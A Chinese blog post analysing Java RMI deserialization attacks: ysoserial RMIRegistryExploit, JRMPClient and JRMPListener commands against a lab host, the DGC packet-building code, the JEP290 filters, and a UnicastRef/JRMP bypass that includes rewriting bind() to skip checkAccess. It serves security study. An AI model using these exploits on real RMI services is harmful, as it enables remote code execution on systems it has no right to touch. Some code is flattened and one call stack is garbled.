Java RMI

news2024/11/26 5:42:55

RMI - 安全篇

RMI分为三个主体部分:

*Client-客户端*:客户端调用服务端的方法

*Server-服务端*:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

*Registry-注册中心*:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。

*宏观上看,RMI远程调用步骤*

1)客户对象调用客户端辅助对象上的方法;

2)客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象;

3)服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象;

4)调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象;

5)服务端辅助对象将结果打包,发送给客户端辅助对象;

6)客户端辅助对象将返回值解包,返回给客户对象;

7)客户对象获得返回值;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

详细来看,对于Client来说,他甚至可以不知道有Server的存在,所有他需要的只是一个stub,对于Client来说,调用远程方法就是调用Stub的方法,

从我们一个局外人的角度上看,数据是在Client和Server之间是横向流动的,但是微观上看整个流程必有网络层面的大量的纵向流动,一个请求先从Client发出,交给Stub,走过Transport Layer之后交由Skeleton,最后到Server,Server调用相应方法,然后将结果原路返回,流程如下:

1.Server监听一个端口,此端口由JVM随机选择(这一点在ysoserial中可见);

2.Client对于Server上的远程对象的位置信息(通信地址和端口)一无所知,只知道****向stub发起请求****,而stub中包含了这些信息,并封装了底层网络操作;

3.Client调用Stub上对应的方法;

4.Stub连接到Server监听的通信端口并提交方法的参数;

5.Server上执行具体的方法,并****将结果原路返回给Stub****;

对于Client来说,远程调用的执行结果是Stub给它的,从Client看来就好像是Stub在本地执行了这个方法一样。

*RMI服务端与客户端实现*

*服务端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-server\src\main\java\com\longofo\javarmi\RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    /**
     * Java RMI 服务端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9998);
                System.out.println("Java RMI registry created. port on 9998...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            // 绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

关于绑定的地址很多博客会rmi://ip:port/Objectname的形式

实际上看rebind源码就知道rmi:写不写都行。

port如果默认是1099,不写会自动补上,其他端口就必须写

这里就会想一个问题:注册中心跟服务端可以分离么?

个人感觉在分布式环境下是可以分离的,但是网上看到的代码都没见到分离的,以及****官方文档****是这么说的:

出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。

那么就是****一般来说注册中心跟服务端是不能分离的****。

*客户端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-client\src\main\java\com\longofo\javarmi\RMIClient.java

package com.longofo.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9998);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
//        PublicKnown malicious = new PublicKnown();
//        malicious.setParam("calc");
//        malicious.setMessage("haha");

        // 使用远程对象的引用调用对应的方法
//        System.out.println(services.sendMessage(malicious));
        System.out.println(services.hello());
    }
}

需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)

Naming.lookup查找远程对象,rmi:可省略

*传输过程*

客户端序列化传输调用函数的输入参数至服务端,服务端返回序列化的执行结果至客户端。

对应的代码是这一句

String ret = hello.hello(“input!gogogogo”);

RMI服务端与客户端readObject其实位置是同一个地方,只是调用栈不同。

*服务端开启调试*

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*客户端开启调试*

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

服务端的rt.jar.sun.rmi.server.UnicastServerRef#dispatch

    // 通过客户端提供的var4去验证客户端想要调用的方法,在这里有没有// ***\*this.hashToMethod_Map\*******\*就是在服务端实现的RMI服务对象的方法\****Method var8 = (Method)this.hashToMethod_Map.get(var4);// 如果没有,var8就为null,报错“想调用的方法在这里不存在”if (var8 == null) {throw new UnmarshalException("unrecognized method hash: method not supported by remote object");

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*this.hashToMethod_Map**就是在服务端实现的RMI服务对象的方法*

这里切了jdk为8u66

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

要想全局搜索生效,还需清下缓存。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

–RMI服务端反序列化攻击RMI注册端

*注册中心代码*

创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {
  public String sayHello(String from) throws java.rmi.RemoteException;
}

创建注册中心代码

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
 
public class Registry {
  public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);} catch (RemoteException e) {
​      e.printStackTrace();}while (true) ;
  }
}

利用ysoserial.exploit.RMIRegistryExploit即可(在bind(name,payload)这里插入payload)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.189.136 1099 CommonsCollections1 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

触发反序列化操作位置

sun.rmi.registry.*RegistryImpl_Skel#dispatch*(我们可以叫做RMI注册任务分发处,就是注册端处理请求的地方)其实是从sun.rmi.server.*UnicastServerRef#dispatch*(RMI请求分发处)那边过来的。

sun.rmi.registry.RegistryImpl_Skel#dispatch:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一处接口hash验证if (var4 != 4905912898345647071L) {throw new SkeletonMismatchException("interface hash mismatch");} else {//设定变量开始处理请求//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法RegistryImpl var6 = (RegistryImpl)var1;//接受客户端输入流的参数变量String var7;Remote var8;ObjectInput var10;ObjectInput var11;//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句//super.ref.newCall(this, operations, 0, 4905912898345647071L);switch(var3) {//统一删除了try等语句case 0://bind(String,Remote)分支
​          var11 = var2.getInputStream();//1.反序列化触发处
​          var7 = (String)var11.readObject();
​          var8 = (Remote)var11.readObject();
​          var6.bind(var7, var8);case 1://list()分支
​          var2.releaseInputStream();String[] var97 = var6.list();ObjectOutput var98 = var2.getResultStream(true);
​          var98.writeObject(var97);case 2://lookup(String)分支
​          var10 = var2.getInputStream();//2.反序列化触发处
​          var7 = (String)var10.readObject();
​          var8 = var6.lookup(var7);case 3://rebind(String,Remote)分支
​          var11 = var2.getInputStream();//3.反序列化触发处
​          var7 = (String)var11.readObject();
​          var8 = (Remote)var11.readObject();
​          var6.rebind(var7, var8);case 4://unbind(String)分支
​          var10 = var2.getInputStream();//4.反序列化触发处
​          var7 = (String)var10.readObject();
​          var6.unbind(var7);default:throw new UnmarshalException("invalid method number");}}
}

可以得到4个反序列化触发处:lookup、unbind、rebind、bind

4个接口有两类参数,String和Remote类型的Object。

RMI注册端没有任何校验,payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。

–RMI注册端反序列化攻击RMI客户端

利用ysoserial.exploit.JRMPListener即可(在高版本jdk下ysoserial的JRMPListener依然可以利用)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “calc”

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc.exe” (高版本下实测可用)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端代码位置

sun.rmi.registry.RegistryImpl_Stub#lookup

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections1的调用链,所以这里直接反序列化就会触发。

–RMI客户端反序列化攻击RMI注册端

利用ysoserial.exploit.JRMPClient即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.189.136 1099 CommonsCollections1 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

sun.rmi.transport.DGCImpl_Skel#dispatch(跟上边的服务端攻击注册端
(sun.rmi.registry.RegistryImpl_Skel#dispatch)不一样,但极其类似)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
  //一样是一个dispatch用于分发作用的方法
  //固定接口hash校验
  if (var4 != -669196253586618813L) {throw new SkeletonMismatchException("interface hash mismatch");
  } else {DGCImpl var6 = (DGCImpl)var1;ObjID[] var7;long var8;//判断dirty和clean分支流switch(var3) {//***\*clean分支流\****case 0:VMID var39;boolean var40;try {//从客户端提供的输入流取值ObjectInput var14 = var2.getInputStream();//对于取值进行反序列化,***漏洞触发点***
​          var7 = (ObjID[])var14.readObject();
​          var8 = var14.readLong();
​          var39 = (VMID)var14.readObject();
​          var40 = var14.readBoolean();} catch (IOException var36) {throw new UnmarshalException("error unmarshalling arguments", var36);} catch (ClassNotFoundException var37) {throw new UnmarshalException("error unmarshalling arguments", var37);} finally {
​          var2.releaseInputStream();}//进行clean操作,已经完成了攻击,之后操作已经不重要了。
​        var6.clean(var7, var8, var39, var40);//..省略部分无关操作//***\*dirty方法分支流\****,跟clean在漏洞触发点上是一样的case 1:Lease var10;try {//从客户端提供的输入流取值ObjectInput var13 = var2.getInputStream();//对于取值进行反序列化,***漏洞触发点***
​          var7 = (ObjID[])var13.readObject();
​          var8 = var13.readLong();
​          var10 = (Lease)var13.readObject();} catch (IOException var32) {throw new UnmarshalException("error unmarshalling arguments", var32);} catch (ClassNotFoundException var33) {throw new UnmarshalException("error unmarshalling arguments", var33);} finally {
​          var2.releaseInputStream();}Lease var11 = var6.dirty(var7, var8, var10);//..省略无关操作default:throw new UnmarshalException("invalid method number");}
  }

这个DGC是用于维护服务端中被客户端使用的远程引用才存在的。其中包括两个方法dirty和clean,简单来说:

客户端想要使用服务端上的远程引用,使用dirty方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。

客户端不使用的时候,需要调用clean方法来清除这个远程引用。

由于我们的RMI服务就是基于远程引用的,其底层的远程引用维护就是使用DGC,起一个RMI服务必有DGC层。于是我们就打这个DGC服务。

相对于RMIRegistryExploit模块,这个JRMPClient模块攻击范围更广,因为RMI服务端或者RMI注册端都会开启DGC服务端。

DGCImpl_Skel是服务端代码,DGCImpl_Stub是客户端代码;但是这两个class无法下断点调试(可能是动态生成)。所以在其内部调用的其他方法下断点来调试。

DGC客户端处:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

DGC服务端处:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

之前RMIRegistryExploit是bind(name,payload)这里插入payload,然后传输到服务端。

*DGC客户端**插入payload的位置*

sun.rmi.transport.DGCImpl_Stub#dirty(clean其实也一样)

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {try {//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);try {//获取连接的输入流ObjectOutput var6 = var5.getOutputStream();//写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]//***这里就是我们payload写入的地方***
​        var6.writeObject(var1);//------
​        var6.writeLong(var2);
​        var6.writeObject(var4);} catch (IOException var20) {throw new MarshalException("error marshalling arguments", var20);}super.ref.invoke(var5);Lease var24;try {ObjectInput var9 = var5.getInputStream();
​        var24 = (Lease)var9.readObject();//省略大量错误处理..
}

针对这种很底层的payload的poc构建通常使用自实现一个客户端去拼接序列化数据包。

ysoserial的JRMP-Client exploit模块就是这么实现的,其核心在于makeDGCCall方法:

// 传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
  InetSocketAddress isa = new InetSocketAddress(hostname, port);
  Socket s = null;
  DataOutputStream dos = null;
  try {// 建立一个socket通道,并为赋值
​    s = SocketFactory.getDefault().createSocket(hostname, port);
​    s.setKeepAlive(true);
​    s.setTcpNoDelay(true);// 读取socket通道的数据流OutputStream os = s.getOutputStream();
​    dos = new DataOutputStream(os);// *******开始拼接数据流*********// 以下均为特定协议格式常量// 传输魔术字符:0x4a524d49(代表协议)
​    dos.writeInt(TransportConstants.Magic);// 传输协议版本号:2(就是版本号)
​    dos.writeShort(TransportConstants.Version);// 传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
​    dos.writeByte(TransportConstants.SingleOpProtocol);// 传输指令-RMI call:0x50
​    dos.write(TransportConstants.Call);@SuppressWarnings ( "resource" )final ObjectOutputStream objOut = new MarshalOutputStream(dos);// DGC的固定读取格式
​    objOut.writeLong(2); // DGC
​    objOut.writeInt(0);
​    objOut.writeLong(0);
​    objOut.writeShort(0);// 选取DGC服务端的分支选dirty
​    objOut.writeInt(1); // dirty// 固定的hash值
​    objOut.writeLong(-669196253586618813L);// 我们的payload写入的地方
​    objOut.writeObject(payloadObject);
 
​    os.flush();
  }

*payload触发点**(DGC服务端)*

sun.rmi.transport.DGCImpl_Skel#dispatch

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*DGC读取格式是固定的*

在sun.rmi.transport.Transport#serviceCall读取了参数之后进行了校验

try {
   id = ObjID.read(call.getInputStream());
 } catch (java.io.IOException e) {
   throw new MarshalException("unable to read objID", e);
 }
 
/* get the remote object */
//该dgcID是一个常量,此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0,0,0](三个都是我们序列化写入的值)分别是:
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash,判断当前DGC客户端有没有服务端的远程对象
//就是dirty,clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));
 
if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

–JEP290修复

在JEP290规范之后,即JAVA版本****6u141, 7u131, 8u121****之后,以上攻击就不奏效了(RMI客户端利用传递参数反序列化攻击RMI服务端不受限制)。

JEP290修复之前,即Java版本6u141、7u131、8u121之前,直接用yso中的两个exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit

JEP290修复之后,即Java版本6u141、7u131、8u121之后,针对于yso中的两个exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit
jdk分别做了相关白名单

针对于ysoserial.exploit.JRMPClient
调用栈:
checkInput:409, DGCImpl (sun.rmi.transport)
access 300 : 72 , D G C I m p l ( s u n . r m i . t r a n s p o r t ) l a m b d a 300:72, DGCImpl (sun.rmi.transport) lambda 300:72,DGCImpl(sun.rmi.transport)lambdarun$0:343, DGCImpl$2 (sun.rmi.transport)
checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl 2 2 2$Lambda$2)
filterCheck:1313, ObjectInputStream (java.io)
readNonProxyDesc:1994, ObjectInputStream (java.io)
readClassDesc:1848, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:90, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.transport.DGCImpl#checkInput()添加白名单
可以看到这里的白名单包括Primitive、ObjID、UID、VMID、Lease等,ysoserial传递的payload对象类型并不在白名单范围中,因此会返回Status.REJECTED导致利用失败。经过后续的查找发现这种利用姿势因为在高版本jdk的严格白名单过滤场景下基本已经没有利用可能了。

针对于ysoserial.exploit.RMIRegistryExploit
调用栈:
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1313, ObjectInputStream (java.io)
readProxyDesc:1932, ObjectInputStream (java.io)
readClassDesc:1845, ObjectInputStream (java.io)
readOrdinaryObject:2158, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.registry.RegistryImpl#registryFilter()添加白名单
·前边的sun.rmi.transport.DGCImpl#checkInput()是针对分布式垃圾收集器的
·当前的sun.rmi.registry.RegistryImpl#registryFilter()是针对RMI注册机制的
这两个的过滤白名单是不一样的,也就为后续的绕过埋下了基础。
可以看到相关的白名单有Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID、UID这几个类,而后续的绕过就是其中的UnicastRef。

sun.rmi.transport.DGCImpl#checkInput过滤器:

private static Status checkInput(FilterInfo var0) {//与sun.rmi.registry.RegistryImpl#registryFilter处过滤器完全一致if (dgcFilter != null) {Status var1 = dgcFilter.checkInput(var0);if (var1 != Status.UNDECIDED) {return var1;}}if (var0.depth() > (long)DGC_MAX_DEPTH) {return Status.REJECTED;} else {Class var2 = var0.serialClass();if (var2 == null) {return Status.UNDECIDED;} else {while(var2.isArray()) {if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {return Status.REJECTED;}
 
​          var2 = var2.getComponentType();}if (var2.isPrimitive()) {return Status.ALLOWED;} else {//4种白名单限制return var2 != ObjID.class &&
​            var2 != UID.class &&
​            var2 != VMID.class &&
​            var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;}}}
  }

sun.rmi.registry.RegistryImpl#registryFilter

private static Status registryFilter(FilterInfo var0) {if (registryFilter != null) {Status var1 = registryFilter.checkInput(var0);if (var1 != Status.UNDECIDED) {return var1;}}if (var0.depth() > 20L) {return Status.REJECTED;} else {Class var2 = var0.serialClass();if (var2 != null) {if (!var2.isArray()) {return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;} else {return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;}} else {return Status.UNDECIDED;}}
}

白名单列表:

String.class

Number.class

Remote.class

Proxy.class

UnicastRef.class

RMIClientSocketFactory.class

RMIServerSocketFactory.class

ActivationID.class

UID.class

*调用栈*

registryFilter:427, RegistryImpl (sun.rmi.registry)

checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$Lambda$2)

filterCheck:1239, ObjectInputStream (java.io)

readProxyDesc:1813, ObjectInputStream (java.io)

readClassDesc:1748, ObjectInputStream (java.io)

readOrdinaryObject:2042, ObjectInputStream (java.io)

readObject0:1573, ObjectInputStream (java.io)

readObject:431, ObjectInputStream (java.io)

dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

oldDispatch:468, UnicastServerRef (sun.rmi.server)

dispatch:300, UnicastServerRef (sun.rmi.server)

run:200, Transport$1 (sun.rmi.transport)

run:197, Transport$1 (sun.rmi.transport)

doPrivileged:-1, AccessController (java.security)

serviceCall:196, Transport (sun.rmi.transport)

handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)

doPrivileged:-1, AccessController (java.security)

run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

runWorker:1149, ThreadPoolExecutor (java.util.concurrent)

run:624, ThreadPoolExecutor$Worker (java.util.concurrent)

run:748, Thread (java.lang)

–利用JRMP反序列化绕过JEP290

JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。

*JRMP*

Java远程消息交换协议(Java Remote MessagingProtocol),是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。作为一个Java特有的、适用于Java之间远程调用的基于流的协议,要求客户端和服务器上都使用Java对象。

*JRMP服务端打JRMP客户端*

JRMP是DGC和RMI的底层通讯层,DGC和RMI的最终调用都回到JRMP这一层来(大概是这样)。

利用ysoserial.exploit.JRMPListener即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端:

public class Client {
  public static void main(String[] args) throws Exception{String url = "rmi://127.0.0.1:1099/User";Object a = Naming.lookup(url);User userClient = (User)Naming.lookup(url);

—UnicastRef对象

只能利用ysoserial.exploit.RMIRegistryExploit,ysoserial.exploit.JRMPClient由于白名单限制已不可用。

可参考:

记一次高版本下远程RMI反序列化利用分析 (qq.com)

具体的思路大概是传递一个在白名单中的UnicastRef对象,其中包含序列化的一个RMI主动链接请求,经过上面的registryFilter之后来到反序列化环节解析后会主动发起一个RMI连接从而绕过JEP290。因此这里的利用得用到2个模块:

  1. 生成UnicastRef对象并发送
  2. 起一个JRMPListener来监听端口,等待反序列化后的主动回连

利用JRMP(UnicastRef)
CC6的调用栈:
readObject:297, HashSet (java.util)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

关键点:
sun.rmi.registry.RegistryImpl_Skel#dispatch()中的readObject()只是还原恶意UnicastRef对象,而releaseInputStream()才是真正调用此恶意UnicastRef对象发出JRMP请求的

releaseInputStream()调用恶意UnicastRef对象发出JRMP请求
调用栈:
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)

bind() + UnicastRef
lookup() + UnicastRef

CheckAccess策略
以jdk8为例,8u141之后,在sun.rmi.registry.RegistryImpl_Skel#dispatch()中,在readObject()之前会有checkAccess()来检查地址
有checkAccess()以后不能再远程bind,即使可以绕过白名单依然会报错。

注册中心时反序列化的点在RegistryImpl_Skel#dispatch(),其中的var3代表客户端发起连接的方法,其中对应的关系为:
·0 -> bind()
·1 -> list()
·2 -> lookup()
·3 -> rebind()
·4 -> unbind()

改造bind()进行绕过

先来看看sun.rmi.registry.RegistryImpl_Skel#dispatch()
关键代码如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里绕过的关键点首先是参数var3,通过一个switch判断进到不同的case语句中,可以看到在case0/3/4的一开始就会调用checkAccess()检查bind的来源,因此要控制var3的值让它等于case1或case2从而绕过checkAccess()。而var3的值是在调用栈上层的sun.rmi.server.UnicastServerRef#dispatch()中从序列化的数据中用readInt()读出来的,也就是说这个值是可以控制的,这个值在代码注释中的解释是opnum,也就是操作数,根据传入对象的不同来选择不同的处理逻辑。

var3的可控输入点在原始bind(),代码如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看到try之后的第一个语句中的newCall方法,其中第三个参数即是opnum,在原始bind方法中opnum为0,需要将opnum的值设置为1或2。

那么到底是1还是2呢?
其实,调试原本的case0的逻辑可知,readObeject()并不是真正的触发点,只是从输入中反序列化出我们构造的UnicastRef对象,然后进到finally的releaseInputStream()。
因此要进入的case得同时包含readObeject()和releaseInputStream()这两个方法,而符合这个条件的只有case2。
但其实,case2就是对lookup()的处理逻辑,所以只有1个readObeject(),原本的case0是有2个readObeject()的,所以还需要修改writeObeject()的顺序

C:\Users\z\Desktop\tools\yso\ysoserial\src\main\java\ysoserial\exploit\RMIRegistryExploit1_JEP290.java

理解了bind()的改造,lookup()的改造就很简单了,其实就是替换参数类型
在本地重写一个lookup,替换原来的String参数为Obejct

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1709054.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

动态内存管理—C语言通讯录

目录 一,动态内存函数的介绍 1.1 malloc和free 1.2 calloc 1.3 realloc 1.4C/C程序的内存开辟 二,通讯录管理系统 动态内存函数的介绍 malloc free calloc realloc 一,动态内存函数的介绍 1.1 malloc和free void* malloc (…

Python 读取.shp文件并生成图幅编号

代码适用于需要处理和分析地理空间数据的场景,如城市规划、环境监测或自然资源管理,其中它可以帮助用户读取特定区域的Shapefile文件,确定其地理边界,并基于这些边界计算出按照经纬度5度间隔的图幅编号,进而用于地图制…

Qt Creator(2)【如何在Qt Creator中创建新工程】

阅读导航 引言一、Qt Creator开始界面介绍二、如何在Qt Creator中创建新工程1. 新建项目2. 选择项目模板3. 选择项目路径4. 选择构建系统5. 填写类信息设置界面6. 选择语言和翻译文件7. 选择Qt套件8. 选择版本控制系统9. 最终效果 三、认识Qt Creator项目内容界面1. 基本界面2.…

数据安全革命:Web3带来的隐私保护创新

随着数字化时代的发展,数据安全和隐私保护问题日益突出。传统的中心化数据存储和管理方式已经无法满足日益增长的数据安全需求,而Web3作为下一代互联网的新兴力量,正以其去中心化、加密安全的特性,引领着一场数据安全革命。本文将…

力扣232. 用栈实现队列(两栈实现队列)

Problem: 232. 用栈实现队列 文章目录 题目描述思路Code 题目描述 思路 利用两个栈,一个入栈一个出栈搭配着实现队列的相关操作: 1.创建两个栈stack1和stack2; 2.void push(int x):将要入队的元素先入栈stack1; 3.int pop()&…

LangChain之链的应用(下)

LangChain之链的应用 Chain链的应用配置LLMChain:简单链create_stuff_documents_chain:文档链create_extraction_chain:提取信息链LLMMathChain:数学链create_sql_query_chain:SQL查询链连接数据库创建并使用链 Sequen…

C语⾔:内存函数

1. memcpy使⽤和模拟实现(对内存块的复制,不在乎类型) void * memcpy ( void * destination, const void * source, size_t num ); • 函数memcpy从source的位置开始向后复制num个字节的数据到destination指向的内存位置。 • 这个函数在遇…

检索模型预训练方法:RetroMAE

论文title:https://arxiv.org/pdf/2205.12035RetroMAE: Pre-Training Retrieval-oriented Language Models Via Masked Auto-Encoder 论文链接:https://arxiv.org/pdf/2205.12035 摘要 1.一种新的MAE工作流,编码器和解器输入进行了不同的掩…

代码随想录算法训练营第四十六天||139.单词拆分

一、139.单词拆分 给定一个非空字符串 s 和一个包含非空单词的列表 wordDict,判定 s 是否可以被空格拆分为一个或多个在字典中出现的单词。 说明: 拆分时可以重复使用字典中的单词。 你可以假设字典中没有重复的单词。 示例 1: 输入: s …

[智能AI摄像头]使用docker搭建RV1126开发环境

创建ubuntu docker 创建dockerfile # 设置基础镜像为Ubuntu 18.04FROM ubuntu:20.04# 设置作者信息MAINTAINER warren "2016426377qq.com"# 设置环境变量,用于非交互式安装ENV DEBIAN_FRONTENDnoninteractive# 备份源列表文件RUN cp -a /etc/apt/source…

洗地机哪个牌子清洁效果好?十大公认最好的洗地机品牌

